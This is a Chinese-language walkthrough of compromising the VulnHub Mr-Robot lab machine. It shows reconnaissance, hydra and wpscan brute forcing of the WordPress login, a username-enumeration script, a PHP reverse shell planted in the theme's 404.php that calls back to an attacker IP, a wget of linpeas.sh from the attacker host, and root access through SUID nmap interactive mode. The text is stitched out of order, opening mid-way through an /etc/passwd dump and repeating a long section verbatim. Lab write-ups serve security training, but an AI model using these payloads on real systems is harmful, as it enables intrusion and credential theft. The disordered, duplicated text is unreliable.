news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
切到robot目錄:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
但沒有權限去看第二個key,不過有另一個線索,就是password.raw-md5
。
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
拿去解密:
得到密碼後,切換使用者:
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ pwd
pwd
/home/robot
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
接下來就是確認有沒有其他可提權項目。最近發現了一個有趣的shell叫LinPEAS - Linux Privilege Escalation Awesome Script
,下載到靶機後,可以拿來掃linux中可能可以拿來提權的項目。
不過linpeas.sh
這個檔案已經無法從作者的guthub:PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub下載到。這一次是從PEASS-ng Windows/linux/unix*/macOS提权工具 - 🔰雨苁ℒ🔰下載的。下載到攻擊機後,在下載地點所在處下python -m http.server
指令,接下來的靶機指令如下:
robot@linux:~$ cd /tmp
cd /tmp
robot@linux:/tmp$ wget http://192.168.18.182:8000/linpeas.sh
wget http://192.168.18.182:8000/linpeas.sh
--2022-12-04 00:50:27-- http://192.168.18.182:8000/linpeas.sh
Connecting to 192.168.18.182:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [text/x-sh]
Saving to: ‘linpeas.sh’
100%[======================================>] 776,167 --.-K/s in 0.1s
2022-12-04 00:50:27 (6.37 MB/s) - ‘linpeas.sh’ saved [776167/776167]
robot@linux:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
robot@linux:/tmp$ ./linpeas.sh
linpeas.sh
的輸出非常多,這裡只列出等等要利用的:
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 68K Feb 12 2015 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 93K Feb 12 2015 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 37K Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 46K Feb 17 2014 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 32K Feb 17 2014 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 41K Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46K Feb 17 2014 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 67K Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 152K Mar 12 2015 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 493K Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 431K May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10K Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9.4K Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14K Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 11K Feb 25 2015 /usr/lib/pt_chown ---> GNU_glibc_2.1/2.1.1_-6(08-1999)
nmap的部分還特別用黃色底色(上面看不出來,要在cmd上看),大概有鬼。
早期的nmap(2.02~5.21)版本是内置root终端的,可以通过nmap内置的rootshell进行提权。
還有Executing Linux Exploit Suggester,超讚。
如果不用這個工具,那麼可以用以下指令列出suid。
robot@linux:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
查看nmap版本後,確定可以用interactive模式,又因為它是suid權限,所以可以直接切到root。suid是什麼,下一章說明。
robot@linux:/tmp$ cd /usr/local/bin
cd /usr/local/bin
robot@linux:/usr/local/bin$ nmap --version
nmap --version
nmap version 3.81 ( http://www.insecure.org/nmap/ )
robot@linux:/usr/local/bin$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# cd /root
cd /root
# ls al
ls al
ls: cannot access al: No such file or directory
# ls -al
ls -al
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
在了解SUID提权以前 我们简单看一下如何设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
ls -al
查看文件权限
chmod u+s binexec
執行結果如下圖:
可以看到binexec
文件的权限描述符由-rwxr-xr-x
变为-rwsr-xr-x
。
VulnHub通关日记-Mr-Robot-1-Nmap提权获取Flag - 腾讯云开发者社区-腾讯云
Vulnhub MR-ROBOT: 1 靶机渗透 - FreeBuf网络安全行业门户
VulnHub实战靶场Mr-Robot
VulnHub - Mr-Robot: 1破解 - CodeAntenna
vulnhub渗透测试之Mr-Robot - miraitowa666 - 博客园
PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub
PEASS-ng Windows/linux/unix*/macOS提权工具 - 🔰雨苁ℒ🔰
简谈SUID提权 - FreeBuf网络安全行业门户
hydra爆破wordpress密码
首先要用virtual box匯入mrRobot.ova
。
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 02:34 EST
Nmap scan report for 192.168.44.2
Host is up (0.00084s latency).
Nmap scan report for 192.168.44.235
Host is up (0.00011s latency).
Nmap scan report for 192.168.44.236
Host is up (0.00042s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.68 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.44.236
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 02:37 EST
Nmap scan report for 192.168.44.236
Host is up (0.00060s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache
MAC Address: 00:0C:29:D7:BD:EF (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 192.168.44.236
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.30 seconds
根據偵查結果,可知192.168.44.236
已開啟port 22, 80, 443,先看80 port的網頁:
雖然很炫,不過看不出來有什麼可以利用的,所以先爆破目錄:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ gobuster dir -u http://192.168.44.236 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak
ld,zip,gz,conf,cnf,js===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.44.236
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,txt,bak
[+] Timeout: 10s
===============================================================
2022/12/03 15:55:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 237] [--> http://192.168.44.236/images/]
/index.php (Status: 301) [Size: 0] [--> http://192.168.44.236/]
/blog (Status: 301) [Size: 235] [--> http://192.168.44.236/blog/]
/rss (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://192.168.44.236/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://192.168.44.236/0/]
/feed (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/video (Status: 301) [Size: 236] [--> http://192.168.44.236/video/]
/image (Status: 301) [Size: 0] [--> http://192.168.44.236/image/]
/atom (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/atom/]
/wp-content (Status: 301) [Size: 241] [--> http://192.168.44.236/wp-content/]
/admin (Status: 301) [Size: 236] [--> http://192.168.44.236/admin/]
/audio (Status: 301) [Size: 236] [--> http://192.168.44.236/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login.php (Status: 200) [Size: 2696]
/wp-login (Status: 200) [Size: 2754]
/css (Status: 301) [Size: 234] [--> http://192.168.44.236/css/]
/rss2 (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/license (Status: 200) [Size: 19930]
/license.txt (Status: 200) [Size: 19930]
/wp-includes (Status: 301) [Size: 242] [--> http://192.168.44.236/wp-includes/]
/js (Status: 301) [Size: 233] [--> http://192.168.44.236/js/]
/wp-register.php (Status: 301) [Size: 0] [--> http://192.168.44.236/wp-login.php?action=register]
/Image (Status: 301) [Size: 0] [--> http://192.168.44.236/Image/]
/wp-rss2.php (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/]
/rdf (Status: 301) [Size: 0] [--> http://192.168.44.236/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://192.168.44.236/]
/readme (Status: 200) [Size: 7334]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://192.168.44.236/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://192.168.44.236/]
看看robots.txt:
User-agent: *
fsocity.dic
key-1-of-3.txt
在網址列的236斜線後面貼上fsocity.dic
跟key-1-of-3.txt
就可以下載下來。
fsocity.dic裡有一大堆英文單字,大概是字典檔。
key-1-of-3.txt:
073403c8a58a1f80d943455fb30724b9
上面也有掃到wp-login.php:
這字典檔還是挺大的,應是有許多重複,所以用uniq來減少重複。
┌──(kali㉿kali)-[~/target_machine/mr.robot]
└─$ sort fsocity.dic | uniq > dic.txt
可以使用這字典檔來猜使用者帳戶跟密碼,用hydra的話如下:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/mrRobot]
└─$ hydra -L /home/kali/target_machine/mrRobot/dic.txt -P /home/kali/target_machine/mrRobot/dic.txt -t 10 -f 192.168.44.236 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 18:46:35
[DATA] max 10 tasks per 1 server, overall 10 tasks, 131148304 login tries (l:11452/p:11452), ~13114831 tries per task
[DATA] attacking http-post-form://192.168.44.236:80/wp-login.php:log=^USER^&pwd=^PASS^:login_error
[STATUS] 1916.00 tries/min, 1916 tries in 00:01h, 131146388 to do in 1140:49h, 10 active
[STATUS] 1856.00 tries/min, 5568 tries in 00:03h, 131142736 to do in 1177:39h, 10 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[STATUS] 1625.57 tries/min, 11379 tries in 00:07h, 131136925 to do in 1344:32h, 10 active
[STATUS] 1041.33 tries/min, 15620 tries in 00:15h, 131132684 to do in 2098:48h, 10 active
[STATUS] 505.32 tries/min, 15665 tries in 00:31h, 131132639 to do in 4325:03h, 10 active
[STATUS] 333.96 tries/min, 15696 tries in 00:47h, 131132608 to do in 6544:23h, 10 active
[80][http-post-form] host: 192.168.44.236 login: 000000 password: cancer
[STATUS] attack finished for 192.168.44.236 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 19:48:24
來仔細分析sudo hydra -L /home/kali/target_machine/mrRobot/dic.txt -P /home/kali/target_machine/mrRobot/dic.txt -t 50 -f 192.168.18.181 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"
這條指令。
首先,-L
跟-P
沒什麼好說,後面就是接字典檔路徑。-t
跟-f
也沒什麼好說,一個是速度,一個是要掃的網域。接下來的http-post-form
就是對http用post方法,會用post方法的原因可以看下圖:
在登錄頁面先按F12,出現上圖畫面。如果在登錄時隨便輸aaa當帳密,可以從上圖發現其實是用了POST方法。
好,那接下來的""
裡面的內容,/wp-login.php
應該不用說,問題是log
、pwd
跟login_error
怎麼來的。看一下登入頁面的原始碼:
看到紅圈圈,就是理由。
不過超慢,超級慢。慢的原因很好想: 每一個帳號都要對每一個密碼做驗證,現在帳號密碼都用同一個字典檔,假設檔案裡有n筆資料,那麼時間複雜度就是$\mathcal{O}(n^2)$。看看上面用hydra的那一段,總共有9位數的資料要試,一分鐘只能處理2千多筆,要處理到什麼時候?
所以應該兩件事分開做,先確定哪些帳號是正確的,再用正確的帳號去做密碼爆破。
如何確定帳號是正確的? 用下面一小段python code去登入帳號:
import requests
open_file = open('dic.txt', 'r')
temp = open_file.read().splitlines()
count = 0
for username in temp:
payload = {'log': '{0}'.format(username), 'pwd': 'dummy'}
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
cookies = dict(wordpress_test_cookie='WP+Cookie+check')
r = requests.post("http://192.168.18.181/wp-login.php", data=payload, headers=headers, cookies=cookies)
if "Invalid username" not in r.text:
print username
open裡是字典檔,requests.post裡面的參數是登入頁面網址(要如何寫出這程式?),記得用第2版python執行:
└─$ python2 account2.py
elliot
Elliot
ELLIOT
知道這一些帳號後,再用wpscan來一個一個對帳號做密碼爆破。先對第一個elliot
爆破。
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ sudo wpscan --url 192.168.18.181 -U elliot -P /home/kali/target_machine/mrRobot/dic.txt --disable-tls-checks -t 20
[sudo] password for kali:
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.18.181/ [192.168.18.181]
[+] Started: Sun Dec 4 12:05:53 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.18.181/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.18.181/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.18.181/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.18.181/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.30 identified (Outdated, released on 0001-01-01).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.18.181/689d322.html, Match: '-release.min.js?ver=4.3.30'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.18.181/689d322.html, Match: 'WordPress 4.3.30'
[+] WordPress theme in use: twentyfifteen
| Location: http://192.168.18.181/wp-content/themes/twentyfifteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://192.168.18.181/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.3
| Style URL: http://192.168.18.181/wp-content/themes/twentyfifteen/style.css?ver=4.3.30
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.18.181/wp-content/themes/twentyfifteen/style.css?ver=4.3.30, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:08 <=========================================> (137 / 137) 100.00% Time: 00:00:08
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
All Found
Progress Time: 00:02:22 <================================= > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Dec 4 12:08:29 2022
[+] Requests Done: 152
[+] Cached Requests: 38
[+] Data Sent: 39.905 KB
[+] Data Received: 1.282 MB
[+] Memory used: 279.648 MB
[+] Elapsed time: 00:02:36
可以看到:
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
登入:
之前vulnhub的靶機stapler,是把reverse shell的php加在plugin來實現get shell:
再點紅圈:
再點紅圈:
可是上傳上去的php無法訪問:
所以這一次靶機要用布景主題編輯,來嵌入reverse shell:
點選404.php來編輯:
直接把整個reverse shell php程式碼放在404.php
的最下面:
以下是與之前不同的reverse shell php:
<?php
$sock=fsockopen('攻擊機IP',攻擊機監聽埠);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
網址列存取http://192.168.18.181/wp-admin/404.php
。
注意在access網頁之前,需監聽埠:
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.18.182] from (UNKNOWN) [192.168.18.181] 42090
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$
查看/etc/passwd
來得知使用者:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
切到robot目錄:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
但沒有權限去看第二個key,不過有另一個線索,就是password.raw-md5
。
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
拿去解密:
得到密碼後,切換使用者:
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ pwd
pwd
/home/robot
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
接下來就是確認有沒有其他可提權項目。最近發現了一個有趣的shell叫LinPEAS - Linux Privilege Escalation Awesome Script
,下載到靶機後,可以拿來掃linux中可能可以拿來提權的項目。
不過linpeas.sh
這個檔案已經無法從作者的guthub:PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub下載到。這一次是從PEASS-ng Windows/linux/unix*/macOS提权工具 - 🔰雨苁ℒ🔰下載的。下載到攻擊機後,在下載地點所在處下python -m http.server
指令,接下來的靶機指令如下:
robot@linux:~$ cd /tmp
cd /tmp
robot@linux:/tmp$ wget http://192.168.18.182:8000/linpeas.sh
wget http://192.168.18.182:8000/linpeas.sh
--2022-12-04 00:50:27-- http://192.168.18.182:8000/linpeas.sh
Connecting to 192.168.18.182:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [text/x-sh]
Saving to: ‘linpeas.sh’
100%[======================================>] 776,167 --.-K/s in 0.1s
2022-12-04 00:50:27 (6.37 MB/s) - ‘linpeas.sh’ saved [776167/776167]
robot@linux:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
robot@linux:/tmp$ ./linpeas.sh
linpeas.sh
的輸出非常多,這裡只列出等等要利用的:
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 68K Feb 12 2015 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 93K Feb 12 2015 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 37K Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 46K Feb 17 2014 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 32K Feb 17 2014 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 41K Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46K Feb 17 2014 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 67K Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 152K Mar 12 2015 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 493K Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 431K May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10K Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9.4K Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14K Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 11K Feb 25 2015 /usr/lib/pt_chown ---> GNU_glibc_2.1/2.1.1_-6(08-1999)
nmap的部分還特別用黃色底色(上面看不出來,要在cmd上看),大概有鬼。
早期的nmap(2.02~5.21)版本是内置root终端的,可以通过nmap内置的rootshell进行提权。
還有Executing Linux Exploit Suggester,超讚。
如果不用這個工具,那麼可以用以下指令列出suid。
robot@linux:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
查看nmap版本後,確定可以用interactive模式,又因為它是suid權限,所以可以直接切到root。suid是什麼,下一章說明。
robot@linux:/tmp$ cd /usr/local/bin
cd /usr/local/bin
robot@linux:/usr/local/bin$ nmap --version
nmap --version
nmap version 3.81 ( http://www.insecure.org/nmap/ )
robot@linux:/usr/local/bin$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# cd /root
cd /root
# ls al
ls al
ls: cannot access al: No such file or directory
# ls -al
ls -al
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
